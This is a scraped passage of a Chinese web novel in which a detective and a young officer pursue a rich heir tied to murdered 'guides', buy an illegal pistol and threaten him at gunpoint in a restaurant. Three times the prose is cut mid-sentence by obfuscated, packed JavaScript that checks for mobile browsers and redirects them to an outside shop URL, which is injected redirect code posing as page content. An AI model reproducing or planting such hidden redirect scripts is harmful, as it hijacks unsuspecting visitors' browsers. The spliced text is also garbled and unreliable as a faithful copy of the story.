在她的头顶,在整个会场的上空,漂浮着一只巨大的生物。它的色彩如同一场暗淡的黄昏,沉重的灰里隐约地浮现着几抹红色。 它有着直径1.5米的伞盖,四条长达十米的口腕如同死神的长袍——这只举世罕见的,深海中最庞大的无脊椎食肉动物之一,神秘的冥河水母啊。它只是静静地悬浮在这里,就带来了深渊中的诡秘与冷寂。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13356913|140785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 尼尔森喝完了一整瓶啤酒才离开天台。 很难说这次交易是成功还是失败。他自知没办法和弥斯.柯林斯抗衡,各方面都是,这是他以身犯险得到的教训。这次能用无意间获得的情报换来使用能力的许可,已经非常难得。 但要想彻底摆脱束缚他的一切,却还是遥遥无期。他仍然会在梦里带着锁链蹒跚在那座地狱般的孤岛,他将永远不得自由,永远寻不回自我。 自由,这飘渺而遥远的光,他本以为自己早已在噩梦与浑噩度日中消磨尽了对它的幻想。 但当他发现这起连环杀人案的丑闻可以用作交易的筹码时,这不死不灭的念想又开始燃烧。 他需要这五分钟,哪怕只有五分钟,他也绝不会放弃这个机会。 柯琳斯说得一点没错,认知偏差是非常危险的能力。因此尼尔森也清楚,如果自己能够重新使用能力,就会有一线摆脱监视和控制的希望。 哪怕这希望再怎么渺茫,哪怕有着要豁出性命的风险,他也不会善罢甘休。 他站在晚风里,似乎思绪万千又似乎大脑空白,最后,他随手将空荡荡的酒瓶放在天台边沿,转身离开。 此时已经是临晨三点,他也不知道自己为什么要在天台徘徊这么久。也许是他还在为柯琳斯的咄咄逼人而愤怒,也许是他在为未来的可能而兴奋。 可等他站在自己公寓门口,答案却忽然轻易地,唐突地浮现出他的脑海。 莱蒂斯。 小姑娘已经在他床上睡着了。不知是出于拘谨还是出于习惯,她侧卧在床的边沿,只占了一小部分面积。她闭着眼睛,轻轻地呼吸着,一只手垂在床沿边,那能拧断人关节的手腕意外的纤细。 平稳的情绪像是某种让人放松的薰香飘在房间里。台灯的光线描摹着她的轮廓,那是她特地为尼尔森留的灯。 尼尔森在看见她的那一刻忽然就停住了脚步,站在公寓门口。 莱蒂斯会失望的。 这个单纯的,倔强的小孩,她所追求的正义,对尼尔森和柯琳斯来说,都只是交易的筹码。 事实就是,在圣卢赛特,没有除她之外的任何一人在意酒神节里死去的向导们。他们对赫夫迈家族来说是一则丑闻,对尼尔森来说是一个机会,而对首席来说,是制衡政敌的手段。 莱蒂斯把尼尔森视为出生入死的同伴,愿意放下一切警惕在他的房间里睡去。而现在尼尔森也要为了一己私利,悄无声息地瞒下事情的真相。 尼尔森为了一己私利做过很多事,他从不后悔或内疚,他不明白是什么让自己停下脚步,好像自己没有靠近她的资格。 真奇怪,他真的这么在乎着小姑娘怎么想吗?她信任自己,难道不是一个可以供自己利用的机会吗,难道不是一件好事吗? 然而昨晚的精神共鸣像是某种遥远的呼唤,尼尔森产生了一种莫名的畏惧。他想要触碰莱蒂斯,又想要收回自己的手。 他将自己的犹豫解释为一种害怕,他担心继续和这个小姑娘产生羁绊之后,哨兵和向导的共鸣会成为新的束缚,让他不再为自己而活。 可一旦离开她身边,他就会再次回到漆黑的梦境里。他要如何拒绝那种奇迹般的平和,那种炉火般的温暖,还有那长河般光辉的星空。 没关系,只要她不知道就好了。尼尔森想。他擅长谎言,她什么也不会知道的。 他走到床边,旁边的睡袋上坐下。 没关系,只要自己不过分被吸引就好了。尼尔森想。他意志强大,他不会因为本能被她影响。 侦探躺进睡袋里,他抬起手,克制地,轻轻地勾住了莱蒂斯垂下的手指。 困意立刻席卷了他,如同上涨的海潮。温暖的体温将他们连接在一起,半梦半醒间,尼尔森瞥见星辰璀璨。 无论如何说服自己,尼尔森还是会不自觉地想到: 如果莱蒂斯就是他命中注定的存在,那么他绝对不会放手。 24. 第二十三章 莱蒂斯很久没梦见维克镇乡下的农场。 那里有广袤的农田,无尽的晴空,绵羊像是一团团棉花懒洋洋地从草地上长出来。 她走过小路,巨大的农用机械轰隆隆地开过。旁边的酒吧里,农夫们说有个人播种时漏了一块田。那块光秃秃的地就是当地的大新闻。 自莱蒂斯十一岁被送往圣所以后,这一切都离她远去。两小时的车程在当代不值一提,但圣所的高墙比任何距离都更难以跨越。 她逐渐不再梦见农场,也不再梦见休伯特大叔。 而现在这段梦境,她知道源自她的记忆。但若真要她自己去回忆,她却记不太清具体的细节。 她只记得一种让人神智不清的痛苦,如同一阵浓雾。当她从未来向过去回望时,什么也看不真切。 她梦到了刚刚觉醒的时候。 那时她发着高烧,感官过载,甚至不知道自己在哪里。庞大的信息量充斥着她的大脑,她似乎正被自己的感官推着,飘移到很远的地方。 她听见昆虫的鸣叫,野兽的脚步,很远的公路上,路过的汽车的收音机里传来音乐。 她分不清自己眼前的画面,她睁开眼睛就同时看见了窗边最细微的裂痕,还有远方镇上酒吧里的灯光。 她感到自己的皮肤传递来庞杂的信号,有如承受着火与电击。但当气流微微波动,她能借此发现有一只小小的飞虫在数十米外煽动了翅膀。 更让她害怕的是,这种感官似乎还能继续延伸,继续扩张,直到将整个国家都网进她大脑。 她后来听说了神游症,感官失控的共感者被庞杂的信息流卷走,失去神智,变得疯狂,只被本能支配。 可莱蒂斯知道从来清楚,自己并没有神游。她在痛苦,在混乱,但神志却清晰异常。她觉得自己正在破碎成无数碎片,正同时处在世界上任何一个地方,掌握世界上任何一瞬间发生的事情。 她缩成一团,艰难地挤出一句话:“休伯特大叔……你在吗?我感觉不太对,我看不清你……这是他们说的觉醒吗……?我该……怎么办?” 她的村庄里都是普通人,大家很少谈起共感者的事情。她只是知道这个世界上有共感者的存在,知道他们分为哨兵,向导,护卫,和伴侣。她从没想过觉醒会发生在自己身上。 休伯特大叔的叹息似乎近在咫尺,又似乎从很远的地方传来。作为一个行事从不拖泥带水的男人,他沉默了相当长的一段时间。 他没有回答她,反而问了一个毫不相干的问题:“莱蒂斯,你想名垂青史吗?” “唔?”年幼的小莱蒂不明所以,她的耳朵里还同时闪过了电视上的深夜新闻,城里的情侣吵架,CD机放出的音乐和风扇运行的声音,她以为自己听错了。 “你想去这个国家最繁华的地方,登上最高的权力的顶端,统领所有哨兵,成为最被世人尊敬又最被世人畏惧的人,过世界上最优越的生活吗?” “……”小莱蒂斯还是不明白,休伯特大叔为什么要这么问呢?她从来没想过这种事情。她对未来的想法,从小就一直没有变过。 “我不想离开维克镇……我只想有一天成为一个,能种出大麦,养大绵羊……还能保护农场和休伯特大叔的人。” “……” 又是一声叹息。一只带茧的,粗糙的手放在她额头。休伯特说:“那么孩子,试着想象,你正在你的感官上建立一堵墙,一堵能把你不想要的东西都隔绝在着之外的墙——然后,不要再放它们进来,永远不要。” “我知道你可以做到的。” 莱蒂斯照做了。她天赋异禀,很快在自己的视觉,听觉,触觉和味觉上都建立了精神屏障。 但她晚一步才开始屏蔽自己的嗅觉,因为农场的空气里充斥着清新的,植物的味道,这是她感官过载时唯一的安慰。 等她建立嗅觉屏障的时候,她已经从觉醒的发烧中清醒过来。她发现自己能够调节嗅觉的强度,但她没有尝试解放其他感官——过载的感觉太可怕了,她下意识地抗拒。她建立起了墙,躲在了墙背后。 休伯特大叔说,这是因为她是一个护卫。 她控制不了其他感官,因此只能算作觉醒了嗅觉。为了不让失控的四感影响她的生活,她需要一直加强精神屏障,直到她这四种感官和常人相同。 休伯特说:“如果有人问起你的身份,你就如实告诉他们,你是个护卫就可以了。” 就好像人很难去质疑自己的性别一样,莱蒂斯从没怀疑过自己的身份。就好像学校没必要教人区分自己是男是女一样,圣所的课程并没有讲到四种共感者的概念的区别。 直到尼尔森今天掏出了维○百科。 但是,梦中的莱蒂斯迷迷糊糊地想,比起百科词条,她还是更愿意相信休伯特大叔。梦里,他的语气是那么认真,又那么沉重。 她果然只是一个护卫而已。 “可是……” 一个陌生的声音从脑海里浮现。它不像是人类的嗓音,更像是一阵风声,或者雨声造成的幻觉。 莱蒂斯的眼前骤然清晰。她正躺在家乡小屋的床上,可在她面前的并不是休伯特大叔。 一具枯瘦的,白发的尸体——白鸟的尸体,侧卧在她床上,和她面对着面。 “可是,如果你的确是一个强大的哨兵,我是不是就能得救了呢?” 死人蓝色的眼睛看着她,睫毛上带着冰碴,莱蒂斯感到刺骨的寒冷和窒息的感觉同时在她体内翻涌。她睁大眼睛,想要挣扎,身体却也如同一具尸体般动弹不得,就连呼吸都变得困难无比。 乡间的小屋变暗,变冷,变得狭窄。她躺进了酒神节存放尸体的冰柜里。 对不起,可是我…… 莱蒂斯脑子乱乱的,她并不害怕,只是觉得非常难过。她想要闭上眼睛,却不知为何无法将视线从尸体上移开。 一种溺水感逐渐将莱蒂斯吞没,她僵硬的身体甚至无法发抖。她努力地吸气,呼气,抵抗着鼻腔里尸体的气息。严寒使她的肌肉僵冷,她用尽全力,也只握了握手指。 然后,她似乎真的抓住了什么。 一种微弱的温暖从她手心传来。 动弹不得的莱蒂斯移动眼球,看见自己的手心中握着一根发光的,纺线一样的东西。它传递过来的温度像是一根小小的火柴,颜色却像是延展的星光。 梦里太冷了。本能地,莱蒂斯尝试握住它。那光芒浮动起来,回应她似的,将她的手轻轻缠绕。 然后,自这严寒与封闭之中,它用力地紧握住她的手,将她向上拉去! 有光破土而出,莱蒂斯猛地睁开了眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13356914|140785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 睛。 她的心脏还砰砰直跳,脑袋也有点晕,过了几秒,才反应过来自己还在尼尔森的公寓里。 阳光从窗帘的缝隙里窥探进来,她低下头,看见了在床边打地铺的尼尔森。 侦探还没醒,睡得很安稳。 他的手一直牵着她,过了整整一夜。 尼尔森终于醒过来时,他看见莱蒂斯正在翻从霍华德那儿缴来的手机。 现在是中午十一点过,他能睡这么久,想也知道靠的是精神共鸣和肢体接触。于是下一秒,他和莱蒂斯默契地放开了牵在一起的手,并且默契地没有对此事做出任何评价。 “你看到这个了吗?”莱蒂斯把手机举到他面前。 屏幕上是霍华德和伦滋.赫夫迈的聊天记录,上面是伦滋在让霍华德替他预约一家餐厅的座位。这家餐厅位于圣卢赛特最高的大厦里,服务高端,价格昂贵,因其窗外的风景而闻名,所有靠窗的座位都必须预定。 “早看见了。”尼尔森说。 他在霍华德昏迷的时候就差不多把这手机翻遍了,自然看见了这条信息。 当然,他不止看到了这个,他还看到了伦滋.赫夫迈发给霍华德炫耀的各种照片。赌博,嗑药,□□,还有向导之旅。 那图片里白发的向导,之后成了那具冰柜里的尸体。 这就是他要交给首席的情报,大概也是莱蒂斯此时脸色不太好的原因。 “他们可真够心大的。”尼尔森把手机从莱蒂斯手里抽出来,对着屏幕念,“预约好了,少爷。周三晚六点钟,澳比利克斯餐厅,双人餐桌。座位按您的要求靠窗……哇,真好,这下任何一个卖得通黑客的杀手,都能通过这条短信把他精准爆破掉了。” 莱蒂斯点点头:“嗯,我们也一样。” “哦,你也准备把他爆破掉?” “……我的意思是我们也一样可以找到他。今天就是星期三,尼尔森。我有话想问他,今晚六点钟,我会当面问他的。” “你的眼神真可怕,到时候记得藏着点。”尼尔森说,他倒是不会阻止莱蒂斯去找伦滋,他同样有想搞明白的事情——尼尔森的直觉告诉他,伦滋和这起连环碎尸案脱不了干系。 这家伙是酒神节的客户,是两个死者的老板,但他在这场连环碎尸案里究竟扮演着什么角色,尼尔森还不清楚。 他只知道伦滋绝不是杀死两个哨兵看守的凶手。他是在第二个死者出现后才意识到这个案件和自己有关的,否则,在第一个受害者出现时,他就该串通局长禁止布列塔尼参与调查。 如果碎尸案真的会导致伦滋.赫夫迈的丑闻暴露,尼尔森还得想办法把真相瞒下去。这很麻烦,尤其是在莱蒂斯还在他身边的情况下。但这是那老太婆的条件之一——丑闻只有在不为大众所知时,才是威胁的利器。 “所以,我们今天的任务就这么定了?”尼尔森心累得不动声色,他从地铺上站起来,竖起三根手指,“第一步,去餐厅找伦滋,第二步,跟他‘好好聊聊’,第三步,活着回来,结束。” “不。”莱蒂斯摇摇头,坐在床上也竖起一根手指,“我查了一下,这家餐厅有着装要求,只允许西装和小礼服。以我们两个现在的样子,谁也进不去。” “很可惜,我们的第一步,应该是去服装店才对。” 25. 第二十四章 尼尔森拨通了布列塔尼的电话,三次,但她一次没接。 他发信息:“有事找你,帮个忙。” 信息显示已读,但她没回。 尼尔森捏了捏鼻梁,在人来人往的快销时装店里站桩打字: “莱蒂斯的手机号被人追踪了,现在只能我来联系你。因为一些你被禁止了解的原因,莱蒂斯得买套新裙子穿去高档餐厅。” “我虽然对伪装有些心得,但女装确实是盲区。你要是放心莱蒂斯穿我选的衣服,就继续无视我吧。” “嗡。” 一个视频电话直接打到了尼尔森手机上,接通后,布列塔尼带着温柔的笑出现在了屏幕上。 “下午好,小莱蒂斯,这两天辛苦你了。想要什么裙子都可以的哦,不愿担心价格,姐姐会给你买的。” 她热情地说,甚至没跟尼尔森打招呼。 但屏幕前没有莱蒂斯,只有尼尔森。 尼尔森带着一种欠揍的表情:“哦,忘了跟你说,莱蒂斯不在这。我们时间有点紧,她先去薇拉那边□□了。” “……”布列塔尼笑眯眯的样子没变,但似乎凭空多了一重杀气:“啊,所以您在服装店里偷懒,却让小莱蒂斯一个人去了地下武器商那里购物?尼尔森先生,我不得不提醒您,您的任务是保护好她,还记得吗?” “她昨天徒手拆了个带机械臂的哨兵,买把枪对她来说能成什么问题?”尼尔森说,嘈杂的环境让他提高了声音,引来几个路人侧目,“而且薇拉和佩德罗那两个家伙肯定都会喜欢她的,你不觉得吗?” “嗯……”布列塔尼思考了一下。奥西恩王国禁枪,这二位地下武器商毫无疑问是违法分子,不过她和他们有过接触,两人在黑白两道持中立立场,仔细想来也是个安全的去处。 “好吧。小莱蒂斯是个好孩子,他们应该会好好对她的。”布列塔尼点点头,她现在能帮上的不多,但至少能给小姑娘一套漂亮的裙子。 “那么现在,尼尔森先生,请您立刻,马上,离开这里。” 尼尔森:“?” “您不会真打算在快销店里给小莱蒂斯选礼服吧?”布列塔尼笑盈盈地说,“下次拘留您的时候,我会让您在厨余垃圾里选吃的哦?” “……”尼尔森嘴角一抽,“那你能不能干脆别拘留我呢?” 然后,在布列塔尼的指挥下,尼尔森把拉贝尔大街整条街都跑了个遍。这地方他从来逛不起,没想到有这么多乱七八糟眼花缭乱的店可选。 布列塔尼挑完裙子买配饰,买完配饰选小皮鞋,看起来心情愉悦,尼尔森则看这些商品的价签看得头皮发麻。至于商店里的服务员,看他这么个穿着破风衣的人在高档女士礼服店里走来走去,还以为他是来找茬的。 买东西比跟踪更让人心累。最后尼尔森的手机掉了百分之七十的电,烫得能生火,手上也逐渐挂满了大大小小的购物袋,路上还遇见当街抢劫的。 对方一把夺过装项链的纸袋,但尼尔森凭借丰富的经验,反手就把东西抢回来,然后转身就跑,抢劫犯都愣在原地不知道到底是谁在抢谁。 “我该去□□的。”尼尔森喘着气说,双腿发酸。他站在街边,他后悔莫及。 “是啊,到底为什么是您在买衣服呢?没能亲眼看到小莱蒂斯试裙子真是遗憾。”布列塔尼表情失落,然后转变为公式化的笑容。“好了,我想小莱蒂斯需要的东西已经一样不缺啦,我也不想再看见您的脸了。再见,尼尔森先生。记得拍两张小莱蒂斯穿礼服的照片给我哦。” 说完,她干脆地挂断了电话。 小插曲结束了,布列塔尼转动椅子,面向办公室的电脑屏幕。上面的倒影里,她的表情冷却了。 屏幕上,是莱蒂斯发给她的,酒神节的照片。那具尸体躺在冰冷的解剖台上,而莱蒂斯说,那里面还有很多向导最终都会变成这样的尸体。 她沉思了一阵,带上笑容,拨通了一个号码。 “你好呀,多多。” 电话那边传来一个暴躁又含糊的声音:“好你妈啊……唔唔……你给我打电话是什么好事吗!” “是好事哦。有事想和你合作,之后我请你吃南瓜曲奇怎么样?” “这是哪门子好事啊!有点自觉啊你这家伙,要不是不接电话可能被你弄死,谁会想听到你的声音啊!” “先听我说完嘛,多多。我需要一个微型机器人,带摄像头,可远程操作。要足够小,足够灵敏,在一个全是哨兵的地方也能不被发现。” “没有这种东西!” “我知道你能做到的,而且明天今天之内就能做到。啊,你一定还能顺便通过远程操作,让它溜进酒神节里,对吧?” “对个头……不对,等等,哪里?酒神节?!你是想杀了我吗?你是想借机杀了我对吧!”电话那边,一个戴着高度数眼镜的姑娘大喊着从椅子上蹦起来。她戴着白色耳钉,嘴里叼着一根胡萝卜干,在她旁边,一只淡定的草泥马淡定地咀嚼着空气。 “怎么会呢?如果我想这么做,早就告发你这个因为非法人体实验而被禁止一切科研活动的科学家还在继续研究了。你不会死,但你现在的实验室会被销毁,这对你来说应该比死更可怕吧。” “比死更可怕的是你这家伙啊!”近视的向导姑娘扶住眼镜。她所在的房间位于一座地下室,研究设备从生物科技到机械硬件,各种领域一应俱全。虽然乱得像是被□□过的实验室,但那也是她最重要的实验室啊! “唔唔唔……好吧,好吧……”她瘫回椅子上,把手放上键盘,“什么时候去酒神节?” “明天凌晨。” “凌晨?那不是这种私人俱乐部人最多的时候吗?布列塔尼你要干什么啊?” “这种时候才更容易找到他们在干坏事的证据嘛。”布列塔尼的声音里带着甜蜜的笑意,“然后我们才好顺理成章杀进去把他们都掀了呀~” 现代人的生活离不开手机。在布列塔尼打电话的同时,尼尔森也在另一边的市中心摆弄手机,只不过这手机不是他的,而是霍华德的。 他把之前拔下来了的sim卡插回手机,不出意外地看到了十几个未接电话和一堆消息。伦滋.赫夫迈问他到底跑哪去玩了,怎么还不来找自己,最后气急败坏,说本少爷好心好意请你喝酒你却放我鸽子,我要解雇你! 这人是真的相信霍华德把莱蒂斯和尼尔森都解决了啊。 尼尔森用毕恭毕敬地语气给他回消息,先是给他道歉,又严肃地表示自己遇到了一些特殊情况:“我查到了一些消息,您让我追杀的两个人可能泄露了您的信息。我现在不方便和您联络,今晚六点在澳比利克斯餐厅和您详细汇报。还请别带您的女伴一同前来,伦滋少爷,此事需严格保密。” 他按下发送键,拔掉sim卡,把它扔在了最近的垃圾桶里,挂着一堆购物袋伸了个懒腰,去找莱蒂斯了。 尼尔森站在一个游戏厅里。 这里没有顶灯,蓝紫色的霓虹光铺满了整个大厅。两旁的机器上,按钮和屏幕闪烁着光芒,把每一个穿梭在里面的人都映衬成剪影。 尼尔森提着大包小包,显得格格不入,但他毫不在乎。他穿过赛博朋克风的装潢,穿过偶尔打量过来的目光,径直走到游戏厅深处,推开了一扇写着禁止入内的门。 沿着昏暗的楼梯间往下,他进入了另一扇门。在这里,他更加格格不入了。 这里看起来像一家黑灰色的超市,一排排高耸的货架切割出过道。货架上盖着厚实的防弹玻璃,客人们隔着它看着里面陈列的商品,人和物都似乎是同一种沉闷的色调。 尼尔森脚步不停,直接走向收银台。 他一直觉得这挺黑色幽默的——那些防弹玻璃里面保护着的,正是一把把射出子弹的枪支。 “来,这里,你看,可是我们的宝贝!” 收银台附近,一个高大强壮的男人热情地说。他身高超过两米,手臂上全是纹身,看起来比那些货架更坚不可摧。 他站在一个货架前,肩膀上坐着个小姑娘。因为他太高,她只能弯着腰,避免撞上天花板。但她的表情依然聚精会神。 要不是他们正在看的是一把M2布朗宁重型机枪,这画面其实还挺温馨的。 “佩德罗,薇拉。”尼尔森对男人和收银台背后穿着卫衣,戴着兜帽的女人点头示意,然后笑着抬起手挥了挥,“莱蒂斯,我买东西回来了。这么快就交到新朋友了?” “哦,尼尔森,你就是她在等的人?”佩德罗——这位身形巨大的男人说,他抬起头去看骑在自己肩上的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13356915|140785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小姑娘,“哎哟,怎么回事?莱蒂斯,你怎么和他混在一起了?” “他是我同事,我们一起干活。”莱蒂斯说,她好像坐在一把梯子上。 “早点把他踢了。”收银台那边传来一个无精打采的声音,薇拉酷酷地咬着咖啡吸管说话。如果说莱蒂斯的冷酷是一种强撑出的成熟,她给人的感觉就是一种自然而然的丧。 “我的风评不应该这么差吧?” 佩德罗向前一步,就像一堵移动的墙。他稳稳地扛着莱蒂斯,有些不开心:“虽然我们是熟人,但我可不能骗人家小姑娘啊。你可不是什么好家伙,你之前可是把我们的一个大客户送进监狱了。” 一只犀牛出现在了佩德罗身后,尼尔森只是笑着耸耸肩:“那我之后不是给你们拉到了一些警局的订单吗?” “怎么,我们还得感谢你吗?”薇拉冷冷地看着他,肩膀上停着一只黑雕。 “就当是为圣卢赛特的治安做做贡献嘛,伸张正义总有代价不是?” 薇拉翻了个白眼:“头一回听人让武器商为治安做贡献的。” “嘿,你瞧,莱蒂斯,尼尔森这人就是这样。他有时候看起来是在做好事,但其实只是他自己的利益恰好和你的利益不冲突而已。” 佩德罗指着尼尔森对莱蒂斯说,像是在惋惜一个经历不光彩的哥们:“要是能给他好处的恰好是和你敌对的家伙,他可就不是什么好同事了。” “武器商真的要对一个私家侦探谈善恶吗?”尼尔森笑道,心说这大块头看着憨,但直觉却敏锐。 真抱歉啊,这一次他就已经选择站到不光彩的那边去了。 他岔开话题:“对了,你们怎么变得这么熟的?” 有些尴尬的情绪从他头顶传来,莱蒂斯耳尖有点红,这大概也是一直没怎么说话的原因:“唔,这是因为……一个误会。” “她刚进来时遇上一个我在教训一个撬锁偷枪的家伙,不过因为我看起来太凶了,她反而以为我是抢劫的那个,啊哈哈哈!”佩德罗叉着腰哈哈大小,似乎对此颇为自豪,“嘿,尼尔森,你知道她会飞膝吗?她这么小,但还真能打到我喉咙啊哈哈!” 飞膝可是杀招啊,也就这人会为了这种事情乐起来了,尼尔森想。佩德罗把一切战斗视为娱乐,估计是把攻击当成了小姑娘在他玩,连精神动物都没用上。 “薇拉呢?她可不是热情的类型,怎么也开始跟莱蒂斯说话了?” 佩德罗很热情,他热情地解说:“莱蒂斯在和我打的时候,救了她差点被打翻的咖啡。” 薇拉配合地举杯示意了一下。她真的很需要这个,上班没有冰美式她会死。 “这丫头品味可好了。”佩德罗竖起大拇指指向莱蒂斯,继续介绍,“她挑中了贝雷塔迷你,小巧准度高,我还真找不出比这更适合去餐厅的枪了。不过她居然不会美式居合,难道她的帮派是那种会正大光明亮着武器去杀人的类型吗?” “确实是。”尼尔森点了点头,他就知道这两人会把莱蒂斯也当成黑手党。 “薇拉小姐教了我怎么藏枪,还送了我一个手袋,如果有安检的话,这个手袋里的东西是不会被查出来的。”莱蒂斯说,她倒是没有再一根筋地申明自己的身份,尼尔森感觉到她有点内疚,大概是觉得告诉两个非法武器商自己是警方会让对方失望。 尼尔森关心起了他平时不太关系的问题:“什么颜色的手袋?” 佩德罗接话:“我选的,橙色,特好看!” “抱歉,还是换一个吧,不太搭。”尼尔森扬了扬手里的购物袋,“莱蒂斯,下来了,正好借他们场地换下衣服。” “嗯。” 莱蒂斯念念不舍地看了眼旁边的重机枪,从佩德罗的肩上轻巧地翻下来。佩德罗也配地蹲下,画面看上去像是一只小鸟从犀牛身上飞走了。 尼尔森把购物递地上去:“对了,虽然我们的计划很简单,但待会儿你看到伦滋的时候还是笑一笑吧,不然会露馅的。” “……”小姑娘板着脸,“我对……他笑不出来。” “不需要笑得有多真心,没人会仔细看的。”尼尔森说,他得帮伦滋瞒下真相和他想把这追杀他们的人打一顿可一点不矛盾——“想象把这种人锤进地里的画面,也一样能让人笑出来不是吗?” 26. 第二十五章 伦滋.赫夫迈一脸不满地走进餐厅。 澳比利克斯餐厅的大门自动打开,巨大的落地窗里盛放着圣卢赛特的街景和落日的光辉。 他本来该带着女人一起享受这种风景的,谁能想到那个护卫警员的破事会这么没完没了? 伦滋少爷四下张望,几乎每一张桌前都已经有人落座,但霍华德帮他预定的那张靠窗的桌子还空着。 霍华德人呢?还没到吗?妈的,这小子不会是在耍他吧? 养尊处优的少爷表情开始扭曲。他本应该淡定地等着被接待才是,但霍华德意味不明的信息和现在的迟到都让他很难保持平时的从容。 他的神色肯定有些引人注目,他感觉有人正在观察他,但他没有多余的注意力放在这上面。所幸守在门边的侍者看到了他,带着礼貌的微笑向他走来:“先生,有什么需要帮助的吗?” “有叫霍华德的人来过么?我?我有预约,名字是伦……” “伦滋少爷——!”一个雀跃的声音突然从旁边插入这场对话,听上去来自一个年纪不大的女孩。伦滋瞥过去,看见一个轻盈的身影向自己走来。 她穿着一身露肩的白色小裙子,短裙蓬松的裙摆和及地的拖尾衬着笔直的双腿。灯光下,面料上的暗纹浮动着银线一样的色彩。他注意到她的项链和手链像是星星落在她身上,而她手中银色的手袋也看起来价值不菲。 她有一头被盘起的黑发,头饰上反射的光像是一朵开在她脸颊边的花。伦滋看不太清她的面容,但他无论如何也无法将她与某个乡下姑娘联系在一起。 伦滋认识很多女人,不太确定这个白玫瑰一样的少女是否曾经和自己有过暧昧。而她走来的动作实在是太快了,那翅膀般的拖尾一晃而过,白色鞋子的鞋跟在地面轻轻敲了两下,她就来到了他身边。 “好久不见,伦滋少爷,我好想您呀,来我这边坐吧?” 侍者的眼神从惊讶到看戏,把注意力放在了伦滋的反应上,完全没发现少女刹那间从手袋里拿出了什么。 她好像只是单纯地,亲密地挽住了伦滋的手,贴到他身边。 “喂,放开!”伦滋皱起眉,今天不是个艳遇的好时机,他还在愁自己的事情,“本少爷今天没空……” “真的吗?” 少女笑道。她被裙摆盖住的手轻轻一翻,自那漂亮布料的掩盖下,一个坚硬,冰冷的物件悄无声息地抵在了伦滋腰间。 伦滋条件反射地一僵,从头到脚忽然一阵冰凉,在他反应过来这是什么之前,危机感就已经让他无法动弹。 “呃……” 赫夫迈家族的小少爷站在高档的餐厅里,感觉到自己的心跳正在敲击自己的耳膜。他僵硬地转动脖子,终于开始仔细打量这个穿着白色礼裙的少女。在首饰熠熠生辉的光芒中,他瞥见了紧盯着他的绿色眼睛。 少女脸上笑得灿烂,眼睛里却没有温度。它像幽冥的诅咒,不详的鬼火,一个要将他引入深渊的预兆。 她在侍者吃瓜的目光下踮起脚尖,贴近伦滋耳边,送上暧昧的邀请。 只是在伦滋的耳里,她语气骤然变冷,内容简明扼要: “跟我走,不然杀了你。” 她的眼神告诉他,她绝对会这么做的。 客观来说,尼尔森这桌的情况比较微妙。 他独自坐在桌子的一侧,面前是一对靠得很近的男女,让人想不明白他这个家伙坐这儿干啥,每个路过的侍者都会眼神微妙地看他一眼。 这让伦滋更加崩溃了:你们他妈看这个比男的干什么!看本少爷啊! 他一直寄希望于有人能看见他求助的眼神,但现在他腰上那把枪都快长进他肉里了,还是无人在意。这些家伙都不知道他是谁吗,居然没一个注意到他的! “我知道你很急,但别你急。”尼尔森笑着默默拉高屏障阻挡少爷惊慌又恼怒的情感。 他摸摸胡子:“我们只是想和你谈谈。” 这圈胡子是他来之前贴的。他没给莱蒂斯安排过度的伪装,因为即使是伦滋的脑子也能想得明白,现在能找上门来审他的女性多半就是莱蒂斯本人。 但尼尔森的身份对伦滋来说一直是个迷,他得保持这种信息差。 伦滋少爷的表情五味杂陈,他看起来很想站起来大喊一声谈个屁,但他身边的少女和少女手里的贝雷塔迷你显著提高了他的素质。 他于是开始装傻充愣:“谈什么?你们不是要绑架我吗?” “你知道要谈什么。” 他身边的少女——那该死的莱蒂斯——如此冷声说道。 而那男人似乎也能看出他在演,只是慢悠悠地摇了摇头:“这位少爷,如果撒谎会让你很紧张,我建议还是别了,很容易被看出来的。” “……”伦滋咬住后牙槽,他觉得这两个人身上肯定开着录音设备。他从政了的老爹指点过他,说话要小心,主动承认事情只会让自己陷入劣势。 考虑到自己要是乱说话,会有被爹断掉资金赶出家门的风险,他在枪口下生出了一种难得的勇气。 他坚持道:“我不知道你们想干嘛,如果要赎金,多少都可以。我答应你们,你们尽管提,把我放了吧,我不会报警的。” “哪用得着报警啊,警局不都听你安排吗?”留着很丑的胡子的男人用一种阴阳怪气的语气笑道。他看起来想跟伦滋慢慢聊上一阵,就像蜘蛛要慢慢结出一张网。 但莱蒂斯显然对他没什么耐心,她用一种冰锥似的语气直接问道: “除了白鸟之外,你还害死过多少个向导?” “什么白鸟。”直白地提起死者还是让伦滋的心里咯噔了一下,“我听不懂你在说什么。” “想清楚。下次开口,你只能回答一个数字。” 抵在他腰上的枪口往前送了送,那是她的手指扣上板机的动作导致 